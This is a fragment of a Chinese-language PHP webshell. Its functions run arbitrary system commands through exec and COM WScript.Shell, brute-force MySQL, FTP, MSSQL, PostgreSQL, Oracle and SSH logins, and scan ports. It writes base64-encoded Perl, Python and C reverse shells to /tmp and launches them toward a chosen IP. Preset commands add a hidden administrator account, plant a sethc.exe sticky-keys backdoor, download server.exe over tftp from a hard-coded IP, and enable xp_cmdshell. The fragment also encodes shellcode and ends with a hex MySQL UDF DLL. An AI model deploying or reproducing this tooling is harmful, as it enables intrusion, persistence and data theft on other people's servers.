($_FILES','move_uploaded_file()'=>'move_uploaded_file($_FILES','move_uploaded_file ()'=>'move_uploaded_file ($_FILES','str_replace()'=>'str_replace(\'\\\\\',\'/\','); $features_asx = array('绝对路径'=>'绝对路径','输入马的内容'=>'输入马的内容','fso.createtextfile()'=>'fso.createtextfile(path,true)','<%execute(request())%>'=>'<%execute(request','<%eval request()%>'=>'<%eval request','execute session()'=>'execute session(','--Created!'=>'--Created!','WScript.Shell'=>'WScript.Shell','<%s LANGUAGE = VBScript.Encode %>'=>'<%@ LANGUAGE = VBScript.Encode %>','www.rootkit.net.cn'=>'www.rootkit.net.cn','Process.GetProcesses'=>'Process.GetProcesses','lake2'=>'lake2'); print<<
                            +扫描路径: + + +
                            +END; +if(!empty($_POST['sp'])) { if($_POST['st'] == 'php'){$features_all = $features_php; $st = '\.php|\.inc|\.php4|\.php3|\._hp|\;';} if($_POST['st'] == 'asx'){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\.cdx|\;';} if($_POST['st'] == 'ppp'){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.php4|\.php3|\._hp|\.asp|\.asa|\.cer|\.cdx|\.aspx|\.ascx|\;';} echo Antivirus_Auto($_POST['sp'],$features_all,$st) ? '成功' : '失败'; } echo ''; return true; } function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb) { if(($h_d = @opendir($sfp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; if(eregi($sft,$Filename)) continue; $Filepath = File_Str($sfp.'/'.$Filename); if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb); if($sff) { if(stristr($Filename,$sfc)) { echo ' '.$Filepath.'
                            '."\r\n"; ob_flush(); flush(); } } else { $File_code = File_Read($Filepath); if(stristr($File_code,$sfc)) { echo ' '.$Filepath.'
                            '."\r\n"; ob_flush(); flush(); } } } @closedir($h_d); return true; } function Findfile_j() { if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode(); $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config'; $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip'; print<< +
                            扫描路径
                            +
                             过滤文件 
                            +
                            关键字串 +搜索文件名 +搜索包含关键字
                            +
                            将搜索应用于该文件夹,子文件夹和文件 + +
                            仅将搜索应用于该文件夹
                            +
                            + +END; +if((!empty($_POST['sfp'])) && (!empty($_POST['sfc']))) { echo '
                            '; $_POST['sft'] = str_replace('.','\\.',$_POST['sft']); $sff = ($_POST['sff'] == 'a') ? true : false; $sfb = ($_POST['sfb'] == 'a') ? true : false; echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '成功' : 'Error'; echo '
                            '; } return true; } function filecollect($dir,$filelist) { $files = ftp_nlist($conn,$dir); return $files; } function ftp_php(){ $dir = ""; $ftphost = isset($_POST['ftphost']) ? $_POST['ftphost'] : '127.0.0.1'; $ftpuser = isset($_POST['ftpuser']) ? $_POST['ftpuser'] : 'root'; $ftppass = isset($_POST['ftppass']) ? $_POST['ftppass'] : 'root'; $ftplist = isset($_POST['list']) ? $_POST['list'] : ''; $ftpfolder = isset($_POST['ftpfolder']) ? $_POST['ftpfolder'] : '/'; $ftpfolder = strtr($ftpfolder,"\\","/"); $files = isset($_POST['readfile']) ? $_POST['readfile'] : ''; print<<
                            用PHP链接ftp服务

                            +

                            +
                            主机: +用户: +密码:

                            + +文件夹: + +

                            +END; +if($ftplist == 'list'){ $conn = @ftp_connect($ftphost) or die("不能链接ftp服务"); if(@ftp_login($conn,$ftpuser,$ftppass)){ $filelists = @ftp_nlist( $conn, $ftpfolder ); echo "
                            "; echo "当前目录是 $ftpfolder:
                            "; if(is_array($filelists)) { foreach ($filelists as $file) { $file = strtr($file,"\\","/"); $size_file =@ftp_size($conn, $file); if ( $size_file == -1) { $a=$a.basename($file)."
                            "; } else { $b=$b.basename($file)." ".$size_file."B
                            "; } } } echo $a; echo $b; echo "
                            "; } } print<< +
                            文件名: + +

                            +END; +$readaction = isset($_POST['read']) ? $_POST['read'] : ''; if ($readaction == 'read') { $handle = @file_get_contents("ftp://$ftpuser:$ftppass@$ftphost/$files", "r"); $handle = htmlspecialchars($handle); $handle = str_replace("\n", "
                            ", $handle); echo "$files 内容是:

                            "; echo $handle; } print<< +
                            文件夹: + + +

                            +END; +$upaction = isset($_POST['upfile']) ? $_POST['upfile'] : '' ; if ($upaction == 'upfile') { $cdir = isset($_POST['cdir']) ? $_POST['cdir'] : '/'; $conn = @ftp_connect($ftphost) or die("不能链接ftp服务"); if(@ftp_login($conn,$ftpuser,$ftppass)){ @ftp_chdir($conn, $cdir); $res_code = @ftp_put($conn,$_FILES['upload']['name'],$_FILES['upload']['tmp_name'], FTP_BINARY,0); if (empty($res_code)){ echo 'ftp上传失败
                            '; } else{ echo 'ftp上传成功
                            '; } } } print<< +
                            文件路径: + +

                            +END; +$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : ''; $getaction = isset($_POST['getfile']) ? $_POST['getfile'] : ''; if ($getaction == 'down' && $getfile !=''){ function php_ftp_download($filename){ global $ftphost,$ftpuser,$ftppass; $ftp_path = dirname($filename) . "/"; $select_file = basename($filename); $ftp = @ftp_connect($ftphost); if($ftp){ if(@ftp_login($ftp, $ftpuser, $ftppass)){ if(@ftp_chdir($ftp,$ftp_path)) { $tmpfile = tempnam(getcwd(),"temp"); if(ftp_get($ftp,$tmpfile,$select_file,FTP_BINARY)){ ftp_quit($ftp); header("Content-Type:application/octet-stream"); header("Content-Disposition:attachment; filename=" . $select_file); unlink($tmpfile); exit; } } } } ftp_quit($ftp); } php_ftp_download($getfile); } } function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";} function Info_f() { $dis_func = get_cfg_var("disable_functions"); $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "upfile forbidden"; $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","
                            ",$dis_func);$dis_func = str_replace(",","
                            ",$dis_func);} $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; $info = array( array("服务器时间",date("Y-m-d h:i:s",time())), array("服务器域名","".$_SERVER['SERVER_NAME'].""), array("服务器IP地址",gethostbyname($_SERVER['SERVER_NAME'])), array("服务器操作系统",PHP_OS), array("服务器操作系统文字编码",$_SERVER['HTTP_ACCEPT_LANGUAGE']), array("服务器解译引擎",$_SERVER['SERVER_SOFTWARE']), array("你的IP",getenv('REMOTE_ADDR')), array("Web服务端口",$_SERVER['SERVER_PORT']), array("PHP运行方式",strtoupper(php_sapi_name())), array("PHP版本",PHP_VERSION), array("运行于安全模式",Info_Cfg("safemode")), array("服务器管理员",$adminmail), array("本文件路径",__FILE__), array("允许使用 URL 打开文件 allow_url_fopen",Info_Cfg("allow_url_fopen")), array("允许动态加载链接库 enable_dl",Info_Cfg("enable_dl")), array("显示错误信息 display_errors",Info_Cfg("display_errors")), array("自动定义全局变量 register_globals",Info_Cfg("register_globals")), array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), array("程序最多允许使用内存量 memory_limit",Info_Cfg("memory_limit")), array("POST最大字节数 post_max_size",Info_Cfg("post_max_size")), array("允许最大上传文件 upload_max_filesize",$upsize), array("程序最长运行时间 max_execution_time",Info_Cfg("max_execution_time")."second"), array("被禁用的函数 disable_functions",$dis_func), array("phpinfo()",$phpinfo), array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), array("图形处理 GD Library",Info_Fun("imageline")), array("IMAP电子邮件系统",Info_Fun("imap_close")), array("MySQL数据库",Info_Fun("mysql_close")), array("SyBase数据库",Info_Fun("sybase_close")), array("Oracle数据库",Info_Fun("ora_close")), array("Oracle 8 数据库",Info_Fun("OCILogOff")), array("PREL相容语法 PCRE",Info_Fun("preg_match")), array("PDF文档支持",Info_Fun("pdf_close")), array("Postgre SQL数据库",Info_Fun("pg_close")), array("SNMP网络管理协议",Info_Fun("snmpget")), array("压缩文件支持(Zlib)",Info_Fun("gzclose")), array("XML解析",Info_Fun("xml_set_object")), array("FTP",Info_Fun("ftp_login")), array("ODBC数据库连接",Info_Fun("odbc_close")), array("Session支持",Info_Fun("session_start")), array("Socket支持",Info_Fun("fsockopen")), ); echo '
                            上一级目录 操作 属性 修改时间 大小
                            0'.$Filename.'删除 '; echo '重命名'.$Fileperm.''.$Filetime.'
                            '.$fname.' 编辑 '; echo ' 重命名 '.$Fileperm.''.$Filetime.' '.$Filesize.'
                            '; for($i = 0;$i < count($info);$i++){echo ''."\n";} echo '
                            '.$info[$i][0].''.$info[$i][1].'
                            '; return true; } function Exec_Run($cmd) { $res = ''; if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);} elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} return $res; } function Exec_g() { echo '
                            '; $res = '回显窗口'; $cmd = 'dir'; if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];} print<< +function sFull(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "path"; + Str[2] = "ipconfig /all"; + Str[3] = "whoami"; + Str[4] = "tasklist /svc"; + Str[5] = "netstat -an"; + Str[6] = "systeminfo"; + Str[7] = "net user"; + Str[8] = "net view"; + Str[9] = "net config workstation"; + Str[10] = "net config server"; + Str[11] = "net user b4che10r b4che10r /add & net localgroup administrators b4che10r /add"; + Str[12] = "query user"; + Str[13] = "copy c:\\1.php d:\\2.php"; + Str[14] = "copy c:\\windows\\explorer.exe c:\\windows\\system32\\sethc.exe & copy c:\\windows\\system32\\sethc.exe c:\\windows\\system32\\dllcache\\sethc.exe"; + Str[15] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[16] = "ps -ef"; + Str[17] = "ifconfig"; + Str[18] = "cat /etc/syslog.conf"; + Str[19] = "cat /etc/my.cnf"; + Str[20] = "cat /etc/hosts"; + Str[21] = "cat /etc/services"; + document.getElementById('cmd').value = Str[i]; + return true; +} + +
                            +命令参数: + +
                            +
                            + +END; +return true; } function Com_h() { $object = isset($_GET['o']) ? $_GET['o'] : 'adodb'; $com = array("adodb" => "ADODB.Connection","wscript" => "WScript.shell","application" => "Shell.Application"); print<<[ADODB.Connection] +[WScript.shell] +[Shell.Application]
                            +
                            +

                            +END; +$shell = new COM($com[$object]); if($object == 'wscript') { $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir'; $cmdpath = isset($_POST['cmdpath']) ? $_POST['cmdpath'] : 'c:\\windows\\system32\\cmd.exe'; print<<
                            + cmd命令: +
                            +END; +if(!empty($_POST['cmd'])) { $exe = @$shell->exec("$cmdpath /c ".$cmd); $out = $exe->StdOut(); $output = $out->ReadAll(); echo '
                            '.$output.'
                            '; } } elseif($object == 'application') { $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe'; $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini'; print<< +

                            命令参数:
                            +


                            +END; +if(!empty($_POST['run'])) echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? '成功' : 'Faild'; } elseif($object == 'adodb') { $string = isset($_POST['string']) ? $_POST['string'] : ''; $sql = isset($_POST['sql']) ? $_POST['sql'] : ''; print<< +function hFull(i){ + if(i==0 || i==10) return false; + Str = new Array(12); + Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb;Jet OLEDB:Database Password=***"; + Str[2] = "Driver={Sql Server};Server=localhost,1433;Database=DbName;Uid=sa;Pwd=sa"; + Str[3] = "Driver={MySql};Server=localhost;Port=3306;Database=DbName;Uid=root;Pwd=root"; + Str[4] = "Provider=OraOLEDB.Oracle.1;User ID=oracle;Password=oracle;Data Source=ORACLE;Persist Security Info=True;"; + Str[5] = "driver={IBM db2 odbc DRIVER};database=mydb;hostname=localhost;port=50000;protocol=TCPIP;uid=root; pwd=pass"; + Str[6] = "DRIVER={POSTGRESQL};SERVER=127.0.0.1;DATABASE=PostGreSQL;UID=postgresql;PWD=123456;"; + Str[7] = "Dsn='';Driver={INFORMIX 3.30 32 BIT};Host=myHostname;Server=myServerName;Service=myServiceName;Protocol=olsoctcp;Database=myDbName;UID=myUsername;PWD=myPassword"; + Str[8] = "DSN=mydns;Uid=username;Pwd=password"; + Str[9] = "FILEDNS=c:\\\path\\\db.dsn;Uid=username;Pwd=password"; + Str[11] = "SELECT * FROM [TableName] WHERE ID<100"; + Str[12] = "INSERT INTO [TableName](USER,PASS) VALUES('b4che10r','mypass')"; + Str[13] = "UPDATE [TableName] SET USER='b4che10r' WHERE ID=100"; + Str[14] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"; + Str[15] = "DROP TABLE [TableName]"; + Str[16] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"; + Str[17] = "select shell('c:\windows\system32\cmd.exe /c net user b4che10r abc123 /add');"; + Str[18] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; + Str[19] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; + Str[20] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; + Str[21] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')"; + Str[22] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')"; + Str[23] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo '' > c:\info.php';"; + Str[24] = "sp_makewebtask @outputfile='d:\\\web\\\test.php',@charset=gb2312,@query='select test';"; + Str[25] = "Exec master.dbo.xp_cmdshell 'ver';"; + Str[26] = "Select Name FROM Master..SysDatabases;"; + Str[27] = "select name from sysobjects where type='U';"; + Str[28] = "Select Name from SysColumns Where id=Object_Id('TableName');"; + Str[29] = "select username,password from dba_users;"; + Str[30] = "select TABLE_NAME from all_tables;"; + Str[31] = "desc admin;"; + Str[32] = "grant connect,resource,dba to user_name;"; + Str[33] = "select datname from pg_database;"; + Str[34] = "select relname from pg_stat_user_tables;"; + Str[35] = "\\\d table_name"; + Str[36] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));"; + Str[37] = "\\\! uname -a"; + Str[38] = "select schemaname from syscat.schemata;"; + Str[39] = "select name from sysibm.systables;"; + Str[40] = "select colname from syscat.columns where tabname='table_name';"; + Str[41] = "db2 get db cfg for db_name;"; + Str[42] = "select name from sysdatabases;"; + Str[43] = "select tabname from systables where tabid=n;"; + Str[44] = "select tabname,colname,owner,coltype from syscolumns join systables on syscolumns.tabid = systables.tabid;"; + Str[45] = "select username,usertype,password from sysusers;"; + if(i<=9){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];} + return true; +} + +连接字符串:
                            + +

                            SQL命令:
                            + +
                            +END; +if(!empty($string)) { @$shell->Open($string); $result = @$shell->Execute($sql); $count = $result->Fields->Count(); for($i=0;$i < $count;$i++){$Field[$i] = $result->Fields($i);} echo $result ? $sql.' 成功
                            ' : $sql.' Faild
                            '; if(!empty($count)){while(!$result->EOF){for($i=0;$i < $count;$i++){echo $Field[$i]->value.'
                            ';}@$result->MoveNext();}} $shell->Close(); } } $shell = NULL; echo '
                            '; return true; } function Port_i() { print<< +
                            +扫描 IP
                            +

                            端 口
                            +

                            +

                            +END; +if((!empty($_POST['ip'])) && (!empty($_POST['port']))) { $ports = explode('|',$_POST['port']); for($i = 0;$i < count($ports);$i++) { $fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,1); echo $fp ? '开放端口 ---> '.$ports[$i].'
                            ' : '关闭端口 ---> '.$ports[$i].'
                            '; ob_flush(); flush(); } } echo ''; return true; } function shellcode_decode($Url_String,$Oday_value) { $Oday_value = hexdec($Oday_value); $$Url_String = str_replace(" ", "", $Url_String); $SHELL = explode("%u", $Url_String); for($i=0;$i < count($SHELL);$i++) { $Temp = $SHELL[$i]; $s_1 = substr($Temp,2); $s_2 = substr($Temp,0,2); $COPY .= $s_1.$s_2; } for($n=0; $n < strlen($COPY); $n+=2){$Decode .= pack("C", hexdec(substr($COPY, $n, 2) )^ $Oday_value);} return $Decode; } function shellcode_encode($Url_String,$Oday_value) { $Length =strlen($Url_String); $Todec = hexdec($Oday_value); for ($i=0; $i < $Length; $i++) { $Temp = ord($Url_String[$i]); $Hex_Temp = dechex($Temp ^ $Todec); if (hexdec($Hex_Temp) < 16) $Hex_Temp = '0'.$Hex_Temp; $hex .= $Hex_Temp; } if ($Length%2) $hex .= $Oday_value.$Oday_value; else $hex .= $Oday_value.$Oday_value.$Oday_value.$Oday_value; for ($n=0; $n < strlen($hex); $n+=4) { $Temp = substr($hex, $n, 4); $s_1= substr($Temp,2); $s_2= substr($Temp,0,2); $Encode.= '%u'.$s_1.$s_2; } return $Encode; } function shellcode_findxor($Url_String) { for ($i = 0; $i < 256; $i++) { $shellcode[0] = shellcode_decode($Url_String, dechex($i)); if ((strpos ($shellcode[0],'tp:')) || (strpos ($shellcode[0],'url')) || (strpos ($shellcode[0],'exe'))) { $shellcode[1] = dechex($i); return $shellcode; } } } function Shellcode_j() { $Oday_value = '0'; $Shell_Code = 'http://blog.taskkill.net/mm.exe'; $checkeda = ' checked'; $checkedb = ''; if(!empty($_POST['code'])) { if($_POST['xor'] == 'a' && isset($_POST['number'])){$Oday_value = $_POST['number'];$Shell_Code = shellcode_encode($_POST['code'],$Oday_value);} if($_POST['xor'] == 'b'){$checkeda = '';$checkedb = ' checked';$Shell_Code_Array = shellcode_findxor($_POST['code']);$Shell_Code = $Shell_Code_Array[0];$Oday_value = $Shell_Code_Array[1];} if(!$Oday_value) $Oday_value = '0'; if(!$Shell_Code) $Shell_Code = '不能发现shellcode现在链接'; $Shell_Code = htmlspecialchars($Shell_Code); } print<< +
                            XOR值:    +编码 shellcode with XOR 解码 shellcode with XOR
                            +
                            +
                            + +END; +return true; } function Crack_k() { $MSG_BOX = '等待消息队列......'; $ROOT_DIR = File_Mode(); $SORTS = explode('/',$ROOT_DIR); array_shift($SORTS); $PASS = join(',',$SORTS); for($i = 0;$i < 10;$i++){$n = (string)$i; $PASS .= $n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.$n.',';} if((!empty($_POST['address'])) && (!empty($_POST['user'])) && (!empty($_POST['pass']))) { $SORTPASS = explode(',',$_POST['pass']); $connect = false; $MSG_BOX = '没有发现'; for($k = 0;$k < count($SORTPASS);$k++) { if($_POST['class'] == 'mysql') $connect = @mysql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); if($_POST['class'] == 'ftp'){$Ftp_conn = @ftp_connect($_POST['address'],'21');$connect = @ftp_login($Ftp_conn,$_POST['user'],chop($SORTPASS[$k]));} if($_POST['class'] == 'mssql') $connect = @mssql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); if($_POST['class'] == 'pgsql') $connect = @pg_connect("host={$_POST['address']} port=5432 dbname=postgres user={$_POST['user']} password={chop($SORTPASS[$k])}"); if($_POST['class'] == 'oracle') $connect = @oci_connect($_POST['user'],chop($SORTPASS[$k]),$_POST['address']); if($_POST['class'] == 'ssh'){$ssh_conn = @ssh2_connect($_POST['address'],'22');$connect = @ssh2_auth_password($ssh_conn,$_POST['user'],chop($SORTPASS[$k]));} if($connect) $MSG_BOX = '[project: '.$_POST['class'].'] [ip: '.$_POST['address'].'] [user: '.$_POST['user'].'] [pass: '.$SORTPASS[$k].']'; } } print<< +
                            {$MSG_BOX}
                            +
                            主机
                            +
                            用户
                            +
                            密码
                            +
                            破解项目: Mysql +FTPmssqlPgsqlOracleSSH
                            +
                            +END; +return true; } function Linux_l() { echo '

                            '; print<<
                            +你的 IP: +你的 端口: +使用脚本: +

                            +END; +if((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) { if($_POST['use'] == 'perl') { $back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; echo File_Write('/tmp/b4che10r_pl',base64_decode($back_connect_pl),'wb') ? 'create /tmp/b4che10r_pl success
                            ' : 'create /tmp/b4che10r_pl faild
                            '; $perlpath = Exec_Run('which perl'); $perlpath = $perlpath ? chop($perlpath) : 'perl'; echo Exec_Run($perlpath.' /tmp/b4che10r_pl '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command faild' : 'execute command successfully'; } if($_POST['use'] == 'python') { $back_connect_py="IyAtKi0gY29kaW5nOnV0Zi04IC0qLQ0KIyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoiIiINCmJhY2sgY29ubmVjdCBweSB2ZXJzaW9uLG9ubHkgbGludXggaGF2ZS". "BwdHkgbW9kdWxlDQoiIiINCmltcG9ydCBzeXMsb3Msc29ja2V0LHB0eQ0Kc2hlbGwgPSAiL2Jpbi9zaCINCmRlZiB1c2FnZShuYW1lKToNCiAgICBwcmludCAn". "cHl0aG9uIGNvbm5lY3QgYmFja2Rvb3InDQogICAgcHJpbnQgJ3VzYWdlOiAlcyA8aXBfYWRkcj4gPHBvcnQ+JyAlIG5hbWUNCg0KZGVmIG1haW4oKToNCiAgIC". "BpZiBsZW4oc3lzLmFyZ3YpICE9MzoNCiAgICAgICAgdXNhZ2Uoc3lzLmFyZ3ZbMF0pDQogICAgICAgIHN5cy5leGl0KCkNCiAgICBzPXNvY2tldC5zb2NrZXQo". "c29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KICAgIHRyeToNCiAgICAgICAgcy5jb25uZWN0KChzeXMuYXJndlsxXSxpbnQoc3lzLmFyZ3ZbMl". "0pKSkNCiAgICAgICAgcHJpbnQgJ2Nvbm5lY3Qgb2snDQogICAgZXhjZXB0Og0KICAgICAgICBwcmludCAnY29ubmVjdCBmYWlsZCcNCiAgICAgICAgc3lzLmV4". "aXQoKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwyKQ0KICAgIG". "dsb2JhbCBzaGVsbA0KICAgIG9zLnVuc2V0ZW52KCdISVNURklMRScpDQogICAgb3MudW5zZXRlbnYoJ0hJU1RGSUxFU0laRScpDQogICAgcHR5LnNwYXduKHNo". "ZWxsKQ0KICAgIHMuY2xvc2UoKQ0KDQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOg0KICAgIG1haW4oKQ=="; echo File_Write('/tmp/b4che10r_py',base64_decode($back_connect_py),'wb') ? 'create /tmp/b4che10r_py success
                            ' : 'create /tmp/b4che10r_py faild
                            '; $pypath = Exec_Run('which python'); $pypath = $pypath ? chop($pypath) : 'python'; echo Exec_Run($pypath.' /tmp/b4che10r_py '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command faild' : 'execute command successfully'; } if($_POST['use'] == 'c') { $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; echo File_Write('/tmp/b4che10r_bc.c',base64_decode($back_connect_c),'wb') ? 'create /tmp/b4che10r_bc.c success
                            ' : 'create /tmp/b4che10r_bc.c faild
                            '; $res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/b4che10r_bc.c'); echo Exec_Run('/tmp/b4che10r_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command successfully' : 'execute command faild'; } echo '
                            local machine need run (nc -vv -l -p '.$_POST['yourport'].')'; } echo ''; return true; } function Mysql_shellcode() { return "0x4d5a4b45524e454c33322e444c4c00004c6f61644c696272617279410000000047657450726f63416464726573730000557061636b42794477696e6740000000504500004c010200000000000000000000000000e0000e210b0100360090000000100100000000003d9502000010000000a00000000000100010000000020000040000000000000004000000000000000010030000020000000000000200000000001000001000000000100000100000000000001000000009980200dd020000f19702001400000000c001009000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e557061636b000000b00100001000000000000000000000000000000000000000000000600000e02e727372630000000050010000c00100e6da000000020000000000000000000000000000600000e088010010e89a02101b0000000e000000001000106b970210b7970210ba970210c8970210a3970210fc0f0010de960210e0960210809502101dba0110ed970210ffaf0110d2960210000400007c070000c40b0000b30200006604000090c0011000000000ffffffff01000000010000000100000001000000000000000000000000000000010000008800008018000080000000000000000000000000000002006500000038000080660000006000008000000000000000000000000000000100040800005000000090000100004400000000000000000000000000000000000000000000000001000408000078000000904401005c3c000000000000000000000300420049004e00459398edb4853493541907b2de1fcbd640cd0773df2017d5f39748433f6d90c556f2b1c13f1be3bcb417f756a33186e453b17faf31e8157911b03da9aaf41f2277afffec07571bfae8214b0ff18af2f7c0ad2d95a1ff0f487658e587923bc1ce9d2c2698c74b940c5842bf55c7da2026563c174c45c6c5e08e95b030390ef0886bd124043aed5b1631b138955065fa05fbfcc1c0b81636c51c7f18bccc846ac8305f5c5134fd92a3e9cb2bb5d99ee1e21a6f5d2929597c59b61e8925c1675138746f1f549d1b8a0c35b7dab30b46a401737162d316fb50723e8a98ca5d6d298259015fe6e1c0a402790e15a965807b488c73e6915ffd6e57d333c0d86ef3a562e0bf0bccbe4bc7ccb560bc2df75d593904f638eae6a964c33f4e123a1d3c213b184373bf3